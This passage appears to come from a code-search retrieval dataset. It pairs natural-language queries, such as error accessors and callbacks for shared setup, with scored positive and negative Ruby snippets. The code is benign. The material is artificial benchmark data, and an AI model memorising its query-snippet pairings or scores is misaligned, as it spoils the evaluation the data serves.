},
{
"docid": "c0ad512bf9d636665fcbc0305809ea2c",
"score": "0.5189571",
"text": "def beginning; end",
"title": ""
},
{
"docid": "c0ad512bf9d636665fcbc0305809ea2c",
"score": "0.5189571",
"text": "def beginning; end",
"title": ""
},
{
"docid": "c0ad512bf9d636665fcbc0305809ea2c",
"score": "0.5189571",
"text": "def beginning; end",
"title": ""
},
{
"docid": "712f6943c50daaa96c6671124f24a634",
"score": "0.5182231",
"text": "def prev_line; end",
"title": ""
},
{
"docid": "f4f890647db72edc37d7a4008f24f6dd",
"score": "0.51763976",
"text": "def add_previous_sibling_node(target_node, node_type, *args, &block)\n manipulate_node(:add_previous_sibling, target_node, node_type, *args, &block)\n end",
"title": ""
},
{
"docid": "001ba3f61443b32c778f17711068617b",
"score": "0.5173745",
"text": "def visit_call(node); end",
"title": ""
},
{
"docid": "51a9bc2218eb1c99d6d0867dd2d03465",
"score": "0.51719546",
"text": "def take_before(node, source_part)\n location = node.location\n if location.respond_to?(source_part)\n range = location.public_send(source_part)\n take_while { |comment| comment.location.expression.end_pos <= range.begin_pos }\n else\n EMPTY_ARRAY\n end\n end",
"title": ""
},
{
"docid": "1855708d9e9421fc2ef5f6d292a1b439",
"score": "0.51704824",
"text": "def precede?(node1, node2)\n node2.loc.line - node1.loc.line == 1\n end",
"title": ""
},
{
"docid": "be893a03d1cac76b30e26c03c18fd684",
"score": "0.5161058",
"text": "def visit_heredoc_beg(node)\n node.copy\n end",
"title": ""
},
{
"docid": "6ecdac4dd09b5a7a69dbdc839b711590",
"score": "0.51595813",
"text": "def devuelve_ant\n\t\t@node.prev\n\tend",
"title": ""
},
{
"docid": "f9ca957bca26da87361b10702823aff7",
"score": "0.5150227",
"text": "def begin_pos\n @node.loc.expression.begin_pos\n end",
"title": ""
},
{
"docid": "b5c901bc5dbdfb538733335e1398dac1",
"score": "0.5148307",
"text": "def visit(node); end",
"title": ""
},
{
"docid": "b5c901bc5dbdfb538733335e1398dac1",
"score": "0.5148307",
"text": "def visit(node); end",
"title": ""
},
{
"docid": "b5c901bc5dbdfb538733335e1398dac1",
"score": "0.5148307",
"text": "def visit(node); end",
"title": ""
},
{
"docid": "b5c901bc5dbdfb538733335e1398dac1",
"score": "0.5148307",
"text": "def visit(node); end",
"title": ""
},
{
"docid": "b5c901bc5dbdfb538733335e1398dac1",
"score": "0.5148307",
"text": "def visit(node); end",
"title": ""
},
{
"docid": "b5c901bc5dbdfb538733335e1398dac1",
"score": "0.5148307",
"text": "def visit(node); end",
"title": ""
},
{
"docid": "381a286b0ca46424966114d99c5fcabe",
"score": "0.5146485",
"text": "def visit_blockarg(node); end",
"title": ""
},
{
"docid": "c7f3b426290e15f4eb68a9bf37b3824a",
"score": "0.513934",
"text": "def reduce_begin_cmd(_production, _range, _tokens, theChildren)\n SkmSequencingBlock.new(theChildren[2])\n end",
"title": ""
},
{
"docid": "f4bd7ae1a58c9354f60e87571e38994f",
"score": "0.51337624",
"text": "def visit_regexp_beg(node); end",
"title": ""
},
{
"docid": "b4373d1f5cb6b8e63961686d6b763095",
"score": "0.5132284",
"text": "def visit_until(node); end",
"title": ""
}
] |
dcde9731daf2dbf973e2bd4667c5edfd
|
Accessor for the errors, use only if the handler is a Kharon::Handlers::Messages.
|
[
{
"docid": "01490bece6e35aea43ee58cbc36fed6c",
"score": "0.74363333",
"text": "def errors\n validator.handler.respond_to?(:errors) ? validator.handler.errors : []\n end",
"title": ""
}
] |
[
{
"docid": "140840b19c920da07f558533142a9dae",
"score": "0.7084517",
"text": "def errors\n self.messages.select { |error| error[:type] == :error }\n end",
"title": ""
},
{
"docid": "873560ec887d9cdbdea9077d7274c302",
"score": "0.6939432",
"text": "def error_messages\n @messages\n end",
"title": ""
},
{
"docid": "873560ec887d9cdbdea9077d7274c302",
"score": "0.6939432",
"text": "def error_messages\n @messages\n end",
"title": ""
},
{
"docid": "00c02afeea2f8849740825384426dfc1",
"score": "0.6765909",
"text": "def errors_for obj\n obj.send(\"error_messages\", :message => nil)\n end",
"title": ""
},
{
"docid": "e82409663a29d7e090dd8f04c82bb2d2",
"score": "0.67245114",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "237ee5e9bc0a77f5e18ed8a960fadf23",
"score": "0.67155355",
"text": "def errors\n return @errors\n end",
"title": ""
},
{
"docid": "f3f3e84948ae3fe5d794068869edc833",
"score": "0.67003936",
"text": "def errors\n @context[:errors]\n end",
"title": ""
},
{
"docid": "f3f3e84948ae3fe5d794068869edc833",
"score": "0.67003936",
"text": "def errors\n @context[:errors]\n end",
"title": ""
},
{
"docid": "81285b78ac61bc12d490f85103d6a2df",
"score": "0.6689655",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "81285b78ac61bc12d490f85103d6a2df",
"score": "0.6689655",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "81285b78ac61bc12d490f85103d6a2df",
"score": "0.6689655",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "81285b78ac61bc12d490f85103d6a2df",
"score": "0.6689655",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "81285b78ac61bc12d490f85103d6a2df",
"score": "0.6689655",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "81285b78ac61bc12d490f85103d6a2df",
"score": "0.6689655",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "8da30da7694b8962fa282e69aa84829d",
"score": "0.66472805",
"text": "def errors\n errors = []\n @messages.each { |msg| errors << msg if msg.is_error? }\n errors\n end",
"title": ""
},
{
"docid": "f5a4466c9356e717fbdc1412adafa5a2",
"score": "0.6643172",
"text": "def get_errors(errors)\n errors.messages\n end",
"title": ""
},
{
"docid": "7c6847ffb19b9805d919a87f9182fc7d",
"score": "0.66372234",
"text": "def errors\n return @errors\n end",
"title": ""
},
{
"docid": "366365e467bc5f5ea7960206880feb49",
"score": "0.66205406",
"text": "def get_errors\n return @errors\n end",
"title": ""
},
{
"docid": "604ebca9eab1bb213e8399e1574dba0c",
"score": "0.66163033",
"text": "def errors\n data_object.errors.get name\n end",
"title": ""
},
{
"docid": "f2eafb78dc955b748dce80c5f09350fd",
"score": "0.65954673",
"text": "def errors\n @context[:errors].to_a\n end",
"title": ""
},
{
"docid": "0bfb3703ec8f8a23d8db1bfc67efa13f",
"score": "0.659324",
"text": "def errors\n @hash[:body][:errors]\n end",
"title": ""
},
{
"docid": "c8a4a7d5bd8e2efa250ed5abc143f598",
"score": "0.65820616",
"text": "def messages\n errors.messages\n end",
"title": ""
},
{
"docid": "46235029414788fdc2e12adc553caa75",
"score": "0.65814435",
"text": "def errors\n # Return array of error messages\n @errors\n end",
"title": ""
},
{
"docid": "d2360bc4f10db78b64008ffba224fc0f",
"score": "0.6574582",
"text": "def errors\n @errors ||= Errors.new(self)\n end",
"title": ""
},
{
"docid": "7d661e52aa62e471fd6b38f9b0481210",
"score": "0.6569782",
"text": "def error_messages\n self.errors.map do |e|\n msg = nil\n if e\n msg = e[:text]\n msg += \": #{e[:fieldName]}\" unless e[:fieldName].blank?\n end\n msg\n end\n end",
"title": ""
},
{
"docid": "72c63f6158223ab93b6293f5a6deba06",
"score": "0.6556663",
"text": "def errors\n bindings[:object].errors[child_key]\n end",
"title": ""
},
{
"docid": "9c0910b154054294fc53d7c7b6dacf07",
"score": "0.65211225",
"text": "def get_errors\n self.set_errors\n return @errors\n end",
"title": ""
},
{
"docid": "9c0910b154054294fc53d7c7b6dacf07",
"score": "0.65211225",
"text": "def get_errors\n self.set_errors\n return @errors\n end",
"title": ""
},
{
"docid": "9c0910b154054294fc53d7c7b6dacf07",
"score": "0.65211225",
"text": "def get_errors\n self.set_errors\n return @errors\n end",
"title": ""
},
{
"docid": "53647ac0740186e6231bf4e1d7d56138",
"score": "0.65207845",
"text": "def errors\n @errors ||= Errors.new(self)\n end",
"title": ""
},
{
"docid": "53647ac0740186e6231bf4e1d7d56138",
"score": "0.65207845",
"text": "def errors\n @errors ||= Errors.new(self)\n end",
"title": ""
},
{
"docid": "494824a7d5268bb2d8e4717181943958",
"score": "0.65159917",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "494824a7d5268bb2d8e4717181943958",
"score": "0.65159917",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "494824a7d5268bb2d8e4717181943958",
"score": "0.65159917",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "494824a7d5268bb2d8e4717181943958",
"score": "0.65159917",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "494824a7d5268bb2d8e4717181943958",
"score": "0.65159917",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "494824a7d5268bb2d8e4717181943958",
"score": "0.65159917",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "494824a7d5268bb2d8e4717181943958",
"score": "0.65159917",
"text": "def errors\n @errors\n end",
"title": ""
},
{
"docid": "b216c0103cd5293615d6ef80c6252044",
"score": "0.65136594",
"text": "def messages\n @errors.map{|e| e.message }\n end",
"title": ""
},
{
"docid": "9141c36ab4012a890493013f67010be4",
"score": "0.65132046",
"text": "def errors\n # JSON API errors\n if self.error? && self.json_api? && self.parsed_body.has_key?('errors')\n response_errors = self.parsed_body['errors']\n translated_errors = {}\n\n response_errors.each do |error|\n key = error['source']['pointer'].sub('/data/attributes/', '')\n\n if translated_errors.has_key?(key)\n translated_errors[key] << error['detail']\n else\n translated_errors[key] = [ error['detail'] ]\n end\n end\n\n translated_errors\n # Plain old JSON error\n elsif self.error? && self.json? && self.parsed_body.has_key?('error')\n [{ 'detail' => self.parsed_body['error'] }]\n # No errors\n else\n []\n end\n end",
"title": ""
},
{
"docid": "2bb81fa702474984fe4c78bcac583e39",
"score": "0.6505941",
"text": "def errors\n @errors || []\n end",
"title": ""
},
{
"docid": "cb29d87f347357839ab0a742b4f3c397",
"score": "0.6503018",
"text": "def errors\n @errors || Array.new\n end",
"title": ""
},
{
"docid": "702435156ccdeb6e9d57dd29575d60f6",
"score": "0.6502956",
"text": "def errors\n object.errors\n end",
"title": ""
},
{
"docid": "57ac00a5ce8fa481d389e42018398d77",
"score": "0.6501616",
"text": "def errors\n @errors || []\n end",
"title": ""
},
{
"docid": "89ee66ab03539ae4f3975a47d6aeea13",
"score": "0.64769435",
"text": "def errors\n bindings[:object].errors[name]\n end",
"title": ""
},
{
"docid": "13dcd79a330d8916531dcda3073aae39",
"score": "0.6469335",
"text": "def errors\n @errors ||= Errors.new\n end",
"title": ""
},
{
"docid": "f882d37c7df719b19f4807121b5e9ce2",
"score": "0.6458596",
"text": "def errors\n @data.response.result.errors\n rescue\n Array.new\n end",
"title": ""
},
{
"docid": "8def71bf4563cbf15bcd907094392b64",
"score": "0.6458165",
"text": "def get_errors\n unless @data.has_key?('errors')\n return []\n end\n\n @data['errors']\n end",
"title": ""
},
{
"docid": "107d05f95eea9fa8f838773b773b845c",
"score": "0.6456118",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "7740229856071bf7d292d98fc1f742ee",
"score": "0.6435239",
"text": "def errors\n return [] unless @instance\n\n @errors ||= @instance.errors.send(:errors).map do |field, errors|\n errors.map do |message|\n FormFieldError.new(field.to_s, \"#{@form_field_prefix}#{field.to_s}\", message)\n end\n end.flatten\n end",
"title": ""
},
{
"docid": "597c2bdede75401654c78d8aef84d38f",
"score": "0.64246744",
"text": "def errors\n bindings[:object].errors[name]\n end",
"title": ""
},
{
"docid": "6912608a8d5680bc0b903f64ada2ebe4",
"score": "0.64139646",
"text": "def error_messages\n self.errors.join(\"\\n\\n\")\n end",
"title": ""
},
{
"docid": "c02c617cc06c9f2401e2caeaeac529cb",
"score": "0.6393909",
"text": "def errors\n return @errors || []\n end",
"title": ""
},
{
"docid": "c70341827553e9c0b494ebbbf51ce482",
"score": "0.6378482",
"text": "def messages\n error ? error.messages : []\n end",
"title": ""
},
{
"docid": "599eb29aa5ae78e185be4e73cc942c81",
"score": "0.6374258",
"text": "def messages\n errors.messages.values.flatten\n end",
"title": ""
},
{
"docid": "190db6d605cda208cba9b32d9645658a",
"score": "0.6365127",
"text": "def errors\r\n @errors || {}\r\n end",
"title": ""
},
{
"docid": "5c2b003aaad67d0fed2487c2b5fc3a43",
"score": "0.63634086",
"text": "def messages\n @errors.values.inject([]) { |error_messages, slot| error_messages + slot }\n end",
"title": ""
},
{
"docid": "a6b0fb8ef3c19a8d12e6182eb31d253e",
"score": "0.63581103",
"text": "def error_handler_errors\n @error_lock.synchronize { @error_handler_errors.dup }\n end",
"title": ""
},
{
"docid": "9a8b77afd41d06c2fb186db15ca8d6ab",
"score": "0.63498366",
"text": "def errors(**_args)\n @errors\n end",
"title": ""
},
{
"docid": "a7cb0f0e8dd94a34bbbf9ef8b9472396",
"score": "0.6344351",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "a7cb0f0e8dd94a34bbbf9ef8b9472396",
"score": "0.6344351",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "a7cb0f0e8dd94a34bbbf9ef8b9472396",
"score": "0.6344351",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "a364af2dd674f0e93cc1880fe5fb8c1e",
"score": "0.6341133",
"text": "def errors (wfid=nil)\n\n wfid.nil? ?\n @context.storage.get_many('errors') :\n @context.storage.get_many('errors', /!#{wfid}$/)\n end",
"title": ""
},
{
"docid": "2f6fc7fa6bb7d459c478894ab2947e8c",
"score": "0.63275814",
"text": "def errors\n each_error.to_a\n end",
"title": ""
},
{
"docid": "41e640229133b09611ef759abdb56439",
"score": "0.6321527",
"text": "def errors\n @data.errors\n end",
"title": ""
},
{
"docid": "46490f341d0ea1dfc707d80f07ed3645",
"score": "0.6318571",
"text": "def errors\n return @session.errors if @session\n end",
"title": ""
},
{
"docid": "e54cada4f82d8e68c2bb3134443e0510",
"score": "0.63128483",
"text": "def error_messages\n if errors?\n errors = Array(parsed_body['errors'])\n errors << parsed_body['error']\n errors.compact\n else\n []\n end\n end",
"title": ""
},
{
"docid": "0453a611215d2ecaa40581af246e28cc",
"score": "0.6306552",
"text": "def errors\n bindings[:object].errors[\"#{name}_file_name\"] + bindings[:object].errors[\"#{name}_content_type\"] + bindings[:object].errors[\"#{name}_file_size\"]\n end",
"title": ""
},
{
"docid": "1415d050d03f6fb4a6be55b3b267eeaf",
"score": "0.6288891",
"text": "def errors\n return self['errors'] if self['errors']\n return []\n end",
"title": ""
},
{
"docid": "41de49b4e919e48dfe26e258a312eafc",
"score": "0.628571",
"text": "def errors()\n @errors ||= []\n end",
"title": ""
},
{
"docid": "b29035fd6f78d7075bad1e775aa8e77a",
"score": "0.6247243",
"text": "def errors\n @env['warden'].errors\n end",
"title": ""
},
{
"docid": "20a3497eaecab571b695b53e07e68458",
"score": "0.624267",
"text": "def errors\n @errors ||= begin\n clean\n @errors\n end\n end",
"title": ""
},
{
"docid": "1a07a8e2ace460867cff635c7a796e93",
"score": "0.6237521",
"text": "def errors\n result.errors\n end",
"title": ""
},
{
"docid": "5159bcc4d4f73a1192c36d64e130881a",
"score": "0.6231623",
"text": "def error_messages\n errors.values.map{ |x| x.first }\n end",
"title": ""
},
{
"docid": "4e10f9ac74de68658e92f1a5e50ed74a",
"score": "0.6225583",
"text": "def full_messages\n @errors.values.flatten\n end",
"title": ""
},
{
"docid": "b1d1b5591b4c98bd36a26e9a9343c346",
"score": "0.6223196",
"text": "def get_errors\n @errors = []\n @errors.concat @attachment.errors.full_messages unless @attachment.valid?\n @errors.concat @folder.errors.full_messages unless @folder.valid?\n end",
"title": ""
},
{
"docid": "40a49d8ec00874e30fdfeb956d22aec1",
"score": "0.62205577",
"text": "def errors\n model_inst.marked_errors[@field_name]\n end",
"title": ""
},
{
"docid": "40a49d8ec00874e30fdfeb956d22aec1",
"score": "0.62205577",
"text": "def errors\n model_inst.marked_errors[@field_name]\n end",
"title": ""
},
{
"docid": "2faf80b4816c2442799004b877a26c61",
"score": "0.61985713",
"text": "def error_handlers\n @err_handlers\n end",
"title": ""
},
{
"docid": "10fb3585a7c5f0ca4d3a495327780e48",
"score": "0.6192633",
"text": "def errors\n []\n end",
"title": ""
},
{
"docid": "197d9b1c3126400debf35b50acd4bc65",
"score": "0.61720985",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "197d9b1c3126400debf35b50acd4bc65",
"score": "0.61720985",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "197d9b1c3126400debf35b50acd4bc65",
"score": "0.61720985",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "197d9b1c3126400debf35b50acd4bc65",
"score": "0.61720985",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "197d9b1c3126400debf35b50acd4bc65",
"score": "0.61720985",
"text": "def errors\n @errors ||= []\n end",
"title": ""
},
{
"docid": "50ceeaf58f8c3ced14235589a61eaaff",
"score": "0.6170912",
"text": "def errors\n @errors ||= {}\n end",
"title": ""
},
{
"docid": "50ceeaf58f8c3ced14235589a61eaaff",
"score": "0.6170912",
"text": "def errors\n @errors ||= {}\n end",
"title": ""
},
{
"docid": "50ceeaf58f8c3ced14235589a61eaaff",
"score": "0.6170912",
"text": "def errors\n @errors ||= {}\n end",
"title": ""
},
{
"docid": "2fb9d3d23619c2e6f296663c50e3e8ec",
"score": "0.61577845",
"text": "def json_errors_member\n json_response[:errors]\n end",
"title": ""
},
{
"docid": "455c8dd619ab4f7431c651c209af17ed",
"score": "0.61520505",
"text": "def errors\n @errors ||= Errors.new\n end",
"title": ""
},
{
"docid": "7582309ea0c71918f369a36f9db98dfa",
"score": "0.6117586",
"text": "def errors\n meta.fetch('errors', nil) || json_schema_errors\n end",
"title": ""
},
{
"docid": "a04078b06f4a19b25e42b926888c37c8",
"score": "0.6108571",
"text": "def errors(options = EMPTY_HASH)\n message_set(options)\n end",
"title": ""
},
{
"docid": "d72426d43f32545418e32af325ec98c0",
"score": "0.61079884",
"text": "def errors\n @errors.compact.uniq\n end",
"title": ""
},
{
"docid": "12dca9b5f24425df6077d784ec05cefb",
"score": "0.60989505",
"text": "def errors(schema=nil)\n if @errors.nil?\n valid?\n end\n @errors\n end",
"title": ""
},
{
"docid": "c2444e4aa518385c7dff4da12c5ae98c",
"score": "0.6073421",
"text": "def get_errors_for_class(klass)\n if klass.errors.any?\n klass.errors.full_messages.each do |msg|\n msg\n end\n end\n end",
"title": ""
},
{
"docid": "47f41fbf30656dd99d004aa842674c43",
"score": "0.6069965",
"text": "def error_messages\n errors.collect{|e|error_to_message(*e)}\n end",
"title": ""
},
{
"docid": "c3216ecceea6dc86140e40edc824d7f9",
"score": "0.60670674",
"text": "def errors\n @env['watchman'].errors\n end",
"title": ""
},
{
"docid": "8fd31504c49a13a4352c69975a4a6f3e",
"score": "0.60660803",
"text": "def errors\n return @errors if @errors.empty?\n\n char_limit = 60_000 / @errors.length\n @errors.map { |e| e.truncate char_limit }\n end",
"title": ""
},
{
"docid": "bcd78af24c8b2efd4cdd1a3cdccec2b8",
"score": "0.6059789",
"text": "def get_errors(model)\n if model.respond_to?(:errors) && model.errors.respond_to?(:full_messages_for)\n model.errors.keys.map do |field|\n {\n 'status' => '422',\n 'source' => { 'pointer' => \"/data/attributes/#{field}\" },\n 'title' => 'Invalid Attribute',\n 'detail' => model.errors.full_messages_for(field).first\n }\n end\n end\n end",
"title": ""
},
{
"docid": "c3820f41cc422fad70703b7d26163ea3",
"score": "0.60596186",
"text": "def error_messages\n validate[1]\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "360174317b2e253e7a9ed1e783aada1c",
"score": "0.0",
"text": "def set_ems_datum\n @ems_datum = EmsDatum.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6163163",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.6045976",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5946146",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.591683",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58349305",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776858",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5652805",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5621621",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.54210985",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.53402257",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53394014",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53321576",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.53124547",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.529654",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.5296262",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52952296",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52600986",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.52442724",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.5232394",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.523231",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.5227454",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.52201617",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.5212327",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.52079266",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.52050185",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.51754695",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51726824",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.5166172",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5159343",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51578903",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.51522785",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152022",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.51518047",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.51456624",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
